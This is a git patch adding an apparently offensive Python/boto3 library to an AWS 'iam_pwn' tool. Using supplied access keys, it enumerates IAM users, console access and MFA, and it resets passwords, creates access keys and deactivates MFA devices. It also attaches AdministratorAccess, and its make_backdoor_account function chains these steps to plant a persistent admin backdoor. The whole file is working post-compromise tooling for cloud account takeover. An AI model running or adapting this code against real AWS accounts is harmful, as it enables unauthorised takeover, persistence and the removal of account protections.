From d6c47e1fdcc6e0c3bf1602b1b85a870894fbedf8 Mon Sep 17 00:00:00 2001 From: carnal0wnage Date: Tue, 27 Jun 2017 22:08:46 -0400 Subject: [PATCH] move iam around --- iam_pwn.py | 2 +- libs/iam.py | 176 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 177 insertions(+), 1 deletion(-) create mode 100644 libs/iam.py diff --git a/iam_pwn.py b/iam_pwn.py index 241a346..e82ee63 100644 --- a/iam_pwn.py +++ b/iam_pwn.py @@ -13,7 +13,7 @@ import pprint pp = pprint.PrettyPrinter(indent=5, width=80) -from iam.iam import * +from libs.iam import * #insert AWS key, will figure out how to pull this in from a single file for all scripts diff --git a/libs/iam.py b/libs/iam.py new file mode 100644 index 0000000..ace03c1 --- /dev/null +++ b/libs/iam.py @@ -0,0 +1,176 @@ +''' +IAM library +''' + +import boto3 +import botocore + +import json +import urllib +import logging +import sys,os +import pprint + +pp = pprint.PrettyPrinter(indent=5, width=80) + +region = 'us-east-1' + +def check_root_account(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY): + client = boto3.client('iam', aws_access_key_id=AWS_ACCESS_KEY_ID, aws_secret_access_key=AWS_SECRET_ACCESS_KEY,region_name=region) + + try: + acct_summary = client.get_account_summary() + if acct_summary: + print("Root Key!!! [or IAM access]") + print("Printing Account Summary") + pp.pprint(acct_summary['SummaryMap']) + client_list = client.list_users() + if client_list: + print("Printing Users") + pp.pprint(client_list['Users']) + + print("Checking for console access") + for user in client_list['Users']: + + try: + profile = client.get_login_profile(UserName=user['UserName']) + if profile: + print('User {} likely has console access and the password can be reset :-)' .format(user['UserName'])) + print("Checking for MFA on account") + mfa = client.list_mfa_devices(UserName=user['UserName']) + print mfa['MFADevices'] + + except botocore.exceptions.ClientError as e: + if e.response['Error']['Code'] == 'NoSuchEntity': + print("[-]: user '{}' likely doesnt have console access" .format(user['UserName'])) + else: + print "Unexpected error: {}" .format(e) + + except botocore.exceptions.ClientError as e: + if e.response['Error']['Code'] == 'InvalidClientTokenId': + sys.exit("The AWS KEY IS INVALID. Exiting") + if e.response['Error']['Code'] == 'AccessDenied': + print('{} : Is NOT a root key' .format(AWS_ACCESS_KEY_ID)) + else: + print "Unexpected error: {}" .format(e) + +def change_user_console_password(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, username, password): + client = boto3.client('iam', aws_access_key_id = AWS_ACCESS_KEY_ID, aws_secret_access_key = AWS_SECRET_ACCESS_KEY, region_name=region) + + try: + response = client.update_login_profile(UserName=username,Password=password, PasswordResetRequired=False) + print('Changing password for user: {} to password: {}' .format(username, password)) + print('Response to password change was: []' .format(response['ResponseMetadata']['HTTPStatusCode'])) + except botocore.exceptions.ClientError as e: + if e.response['Error']['Code'] == 'PasswordPolicyViolation': + print("Password policy violation. Manually check password policy") + elif e.response['Error']['Code'] == 'NoSuchEntity': + print("[-]: User likely doesnt have console access") + else: + print "Unexpected error: {}" .format(e) + + +def create_user_console_password(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, username, password): + client = boto3.client('iam', aws_access_key_id = AWS_ACCESS_KEY_ID, aws_secret_access_key = AWS_SECRET_ACCESS_KEY, region_name=region) + + try: + response = client.create_login_profile(UserName=username,Password=password, PasswordResetRequired=False) + print('Changing password for user: %s to password: {}' .format(username, password)) + print('Response to password change was: {}' .format(response['ResponseMetadata']['HTTPStatusCode'])) + except botocore.exceptions.ClientError as e: + if e.response['Error']['Code'] == 'PasswordPolicyViolation': + print("Password policy violation. Manually check password policy") + elif e.response['Error']['Code'] == 'NoSuchEntity': + print("[-]: User likely doesnt have console access") + else: + print "Unexpected error: {}" .format(e) + + +def get_password_policy(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY): + client = boto3.client('iam', aws_access_key_id = AWS_ACCESS_KEY_ID, aws_secret_access_key = AWS_SECRET_ACCESS_KEY, region_name=region) + + try: + pass_policy = client.get_account_password_policy() + print("Account Password Policy:") + pp.pprint(pass_policy['PasswordPolicy']) + except botocore.exceptions.ClientError as e: + print "Unexpected error: {}" .format(e) + +def create_user(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, username): + client = boto3.client('iam', aws_access_key_id=AWS_ACCESS_KEY_ID, aws_secret_access_key=AWS_SECRET_ACCESS_KEY, region_name=region) + + try: + print("Creating a new IAM user named: {}" .format(username)) + create_user = client.create_user(Path='/',UserName=username) + print('Response to create user was: {}' .format(create_user['ResponseMetadata']['HTTPStatusCode'])) + print("New User Details") + pp.pprint(create_user['User']) + except botocore.exceptions.ClientError as e: + if e.response['Error']['Code'] == 'EntityAlreadyExists': + print("ERROR: The provided user: {} already exists" .format(username)) + else: + print "Unexpected error: {}" .format(e) + +def create_access_key(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, username): + client = boto3.client('iam', aws_access_key_id=AWS_ACCESS_KEY_ID, aws_secret_access_key=AWS_SECRET_ACCESS_KEY, region_name=region) + + try: + create_access_key = client.create_access_key(UserName=username) + print("Creating a new access key for: {}" .format(username)) + pp.pprint(create_access_key['AccessKey']) + except botocore.exceptions.ClientError as e: + print "Unexpected error: {}" .format(e) + +def delete_access_key(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, username, accesskey): + client = boto3.client('iam', aws_access_key_id=AWS_ACCESS_KEY_ID, aws_secret_access_key=AWS_SECRET_ACCESS_KEY, region_name=region) + + try: + delete_access_key = client.delete_access_key(UserName=username, AccessKeyId=accesskey) + print("Deleting a access key: {} for: {}" .format(accesskey, username)) + print('Response to delete key was: {}' .format(delete_access_key['ResponseMetadata']['HTTPStatusCode'])) + except botocore.exceptions.ClientError as e: + if e.response['Error']['Code'] == 'NoSuchEntity': + print("ERROR: The provided AccessKey doesnt exist") + else: + print "Unexpected error: {}" .format(e) + +#untested :-/ but should work #TODO +def delete_mfa_device(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, username, mfaserial): + client = boto3.client('iam', aws_access_key_id=AWS_ACCESS_KEY_ID, aws_secret_access_key=AWS_SECRET_ACCESS_KEY, region_name=region) + try: + delete_mfa = client.deactivate_mfa_device(UserName=username, SerialNumber=mfaserial) + print("Deleting a MFA device: {} for: {}" .format(mfaserial, username)) + print('Response to delete MFA devices was: {}' .format(delete_mfa['ResponseMetadata']['HTTPStatusCode'])) + except botocore.exceptions.ClientError as e: + if e.response['Error']['Code'] == 'NoSuchEntity': + print("ERROR: The provided AccessKey doesnt exist") + else: + print "Unexpected error: {}" .format(e) + + +def make_admin(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, username): + client = boto3.client('iam', aws_access_key_id=AWS_ACCESS_KEY_ID, aws_secret_access_key=AWS_SECRET_ACCESS_KEY, region_name=region) + + try: + make_admin = client.attach_user_policy(UserName=username, PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess') + print("Adding admin policy to: {}" .format(username)) + print('Response to attaching admin policy was: {}' .format(make_admin['ResponseMetadata']['HTTPStatusCode'])) + #print('Response to delete key was: %s' % delete_access_key['ResponseMetadata']['HTTPStatusCode']) + except botocore.exceptions.ClientError as e: + if e.response['Error']['Code'] == 'AccessDenied': + print("ERROR: Account does not have permissions to add the policy") + else: + print "Unexpected error: {}" .format(e) + +def make_backdoor_account(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, username, password): + client = boto3.client('iam', aws_access_key_id=AWS_ACCESS_KEY_ID, aws_secret_access_key=AWS_SECRET_ACCESS_KEY, region_name=region) + + try: + print("making backdoor account with username: {}" .format(username)) + create_user(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,username) + make_admin(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,username) + create_user_console_password(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, username, password) + create_access_key(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,username) + + except botocore.exceptions.ClientError as e: + print "Unexpected error: {}" .format(e)